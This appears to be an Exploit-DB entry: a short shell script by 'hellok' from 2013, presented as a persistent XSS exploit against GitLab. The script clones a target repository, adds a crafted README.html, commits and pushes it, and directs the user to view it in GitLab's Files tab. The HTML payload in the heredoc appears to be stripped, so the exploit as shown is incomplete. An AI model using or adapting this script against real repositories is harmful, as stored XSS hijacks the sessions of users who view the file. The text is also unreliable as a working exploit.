##Exploit-DB note: Tested commit 10b0b8f1797e6c09b4c063c04a4864ecd31d34f4
# Exploit Title: [gitlab persistent xss exploit]
# Date: [12/16/2013]
# Exploit Author: [hellok]
# Vendor Homepage: gitlab.org
#!/bin/sh
#author hellok
#for file format ext pwn for gitlab 12/16/2013
tee README.html > /dev/null <<'EOF'
README. [Generated]
README. - Generated on 2013年12月 16日 星期日 16时50分57秒 CST by hellok using Markdown. Source is embedded.
EOF
USAGE="$0: "
if [ $# -lt 1 ]; then echo -e "Error: git url is required.\n$USAGE" >&2; exit 1; fi
echo "pwn start"
git clone $1
echo $(basename $1 | awk -F "." '{ print $1 }')
cp README.html $(basename $1 | awk -F "." '{ print $1 "/"}')
cd $(basename $1 | awk -F "." '{ print $1 }')
git add *
git commit -m "1"
git push
echo "DONE! Open your gitlab's Files TAB"